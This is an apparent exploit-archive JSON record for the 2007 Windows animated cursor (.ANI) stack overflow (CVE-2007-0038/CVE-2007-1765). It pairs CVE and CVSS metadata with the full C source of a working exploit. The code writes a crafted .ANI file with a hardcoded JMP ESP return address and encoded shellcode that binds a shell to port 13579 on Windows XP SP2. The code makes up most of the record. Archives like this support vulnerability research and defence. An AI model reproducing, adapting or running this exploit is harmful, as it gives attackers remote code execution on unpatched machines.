{"exploit":{"id":"EDB-3695","name":"Microsoft Windows - Animated Cursor '.ani' Local Overflow","description":"Microsoft Windows - Animated Cursor '.ani' Local Overflow","cves":["CVE-2007-0038","CVE-2007-1765"],"author":"Breno Silva Pinto","published":"2007-04-09","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3695","path":"exploits/windows/local/3695.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3695.c","vulnerabilities":[{"id":"CVE-2007-0038","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0038","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0038"},"updatedAt":"2024-08-07T12:03:36.879Z","retrievedAt":"2026-11-26T15:05:27.112Z","stale":false,"error":null},{"id":"CVE-2007-1765","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a malformed ANI file, which results in memory corruption when processing cursors, animated cursors, and icons, a similar issue to CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this issue might be a duplicate of CVE-2007-0038; if so, then use CVE-2007-0038 instead of this identifier.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1765","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1765"},"updatedAt":"2024-08-07T13:06:26.389Z","retrievedAt":"2026-11-26T19:12:38.717Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3695.png?v=2","url":"https://exploitbin.com/exploits/EDB-3695","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3695/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3695/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n        .ANI exploit tested on Windows XP SP2 - Portuguese\n        Shellcode port bind 13579\n\n        JMP ESP Addr  - ntdll.dll\n\n        Greetz: Marsu, Devcode, Str0ke, Dave, Sekure.org guys, Sauna.\n\n\n        Exploit coded listen sauna hits\n                Featuring Luiz Zanardo's gigs \"Minoide - \\x52\\x49\\x46\\x46\\x00\\x04\\x00\\x41\" @ www.myspace.com/fuzzyproject\n\n        Breno Silva Pinto\n        bsilva[at]Sekure.org\n*/\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\n\nunsigned char aniheader[] =\n\"\\x52\\x49\\x46\\x46\\x00\\x04\\x00\\x00\\x41\\x43\\x4F\\x4E\\x61\\x6E\\x69\\x68\"\n\"\\x24\\x00\\x00\\x00\\x24\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\\x0A\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\\x02\\x02\\x02\\x02\"\n\"\\x61\\x6E\\x69\\x68\\xA8\\x03\\x00\\x00\";\n\nunsigned char Shellcode[] =\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x29\\xc9\\x83\\xe9\\xaf\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x8f\"\n\"\\x35\\x37\\x85\\x83\\xeb\\xfc\\xe2\\xf4\\x73\\x5f\\xdc\\xca\\x67\\xcc\\xc8\\x7a\"\n\"\\x70\\x55\\xbc\\xe9\\xab\\x11\\xbc\\xc0\\xb3\\xbe\\x4b\\x80\\xf7\\x34\\xd8\\x0e\"\n\"\\xc0\\x2d\\xbc\\xda\\xaf\\x34\\xdc\\x66\\xbf\\x7c\\xbc\\xb1\\x04\\x34\\xd9\\xb4\"\n\"\\x4f\\xac\\x9b\\x01\\x4f\\x41\\x30\\x44\\x45\\x38\\x36\\x47\\x64\\xc1\\x0c\\xd1\"\n\"\\xab\\x1d\\x42\\x66\\x04\\x6a\\x13\\x84\\x64\\x53\\xbc\\x89\\xc4\\xbe\\x68\\x99\"\n\"\\x8e\\xde\\x34\\xa9\\x04\\xbc\\x5b\\xa1\\x93\\x54\\xf4\\xb4\\x4f\\x51\\xbc\\xc5\"\n\"\\xbf\\xbe\\x77\\x89\\x04\\x45\\x2b\\x28\\x04\\x75\\x3f\\xdb\\xe7\\xbb\\x79\\x8b\"\n\"\\x63\\x65\\xc8\\x53\\xbe\\xee\\x51\\xd6\\xe9\\x5d\\x04\\xb7\\xe7\\x42\\x44\\xb7\"\n\"\\xd0\\x61\\xc8\\x55\\xe7\\xfe\\xda\\x79\\xb4\\x65\\xc8\\x53\\xd0\\xbc\\xd2\\xe3\"\n\"\\x0e\\xd8\\x3f\\x87\\xda\\x5f\\x35\\x7a\\x5f\\x5d\\xee\\x8c\\x7a\\x98\\x60\\x7a\"\n\"\\x59\\x66\\x64\\xd6\\xdc\\x66\\x74\\xd6\\xcc\\x66\\xc8\\x55\\xe9\\x5d\\x02\\x8e\"\n\"\\xe9\\x66\\xbe\\x64\\x1a\\x5d\\x93\\x9f\\xff\\xf2\\x60\\x7a\\x59\\x5f\\x27\\xd4\"\n\"\\xda\\xca\\xe7\\xed\\x2b\\x98\\x19\\x6c\\xd8\\xca\\xe1\\xd6\\xda\\xca\\xe7\\xed\"\n\"\\x6a\\x7c\\xb1\\xcc\\xd8\\xca\\xe1\\xd5\\xdb\\x61\\x62\\x7a\\x5f\\xa6\\x5f\\x62\"\n\"\\xf6\\xf3\\x4e\\xd2\\x70\\xe3\\x62\\x7a\\x5f\\x53\\x5d\\xe1\\xe9\\x5d\\x54\\xe8\"\n\"\\x06\\xd0\\x5d\\xd5\\xd6\\x1c\\xfb\\x0c\\x68\\x5f\\x73\\x0c\\x6d\\x04\\xf7\\x76\"\n\"\\x25\\xcb\\x75\\xa8\\x71\\x77\\x1b\\x16\\x02\\x4f\\x0f\\x2e\\x24\\x9e\\x5f\\xf7\"\n\"\\x71\\x86\\x21\\x7a\\xfa\\x71\\xc8\\x53\\xd4\\x62\\x65\\xd4\\xde\\x64\\x5d\\x84\"\n\"\\xde\\x64\\x62\\xd4\\x70\\xe5\\x5f\\x28\\x56\\x30\\xf9\\xd6\\x70\\xe3\\x5d\\x7a\"\n\"\\x70\\x02\\xc8\\x55\\x04\\x62\\xcb\\x06\\x4b\\x51\\xc8\\x53\\xdd\\xca\\xe7\\xed\"\n\"\\xf1\\xed\\xd5\\xf6\\xdc\\xca\\xe1\\x7a\\x5f\\x35\\x37\\x85\";\n\n\nint main( int argc, char **argv ) {\n\tchar Buffer[1024];\n\tFILE *f;\n\n\tif ( argc < 2 ) {\n        printf(\"usage %s <file.ani>\\n\",argv[0]);\n\t\treturn 0;\n\t}\n\n\tmemset( Buffer, 0x90, sizeof( Buffer ) );\n\tmemcpy( Buffer, aniheader, sizeof( aniheader ) - 1 );\n\n\tmemcpy( Buffer + 168, \"\\xed\\x1e\\x94\\x7c\", 4 );     // JMP ESP - NTDLL. Hey Dave ... this is for you brotha!\n    memcpy( Buffer + 198, Shellcode, sizeof( Shellcode ) - 1 );\n\n\n\tf = fopen( argv[1], \"wb\" );\n\tif ( f == NULL ) {\n\t\tprintf(\"Cannot create file\\n\");\n\t\treturn 0;\n\t}\n\n\tfwrite(Buffer, 1, 1024, f);\n\tfclose(f);\n\tprintf(\".ANI file created!\\n\");\n\treturn 0;\n}\n\n// milw0rm.com [2007-04-09]","sha256":"da29b2405caee48868fd4fe616dba0581579ca8e4858333a4ecba3ce9d5c4a06","bytes":3086,"fetchedAt":"2026-11-27T01:07:41.770Z","encoding":"utf-8 (display only; download retains original bytes)"}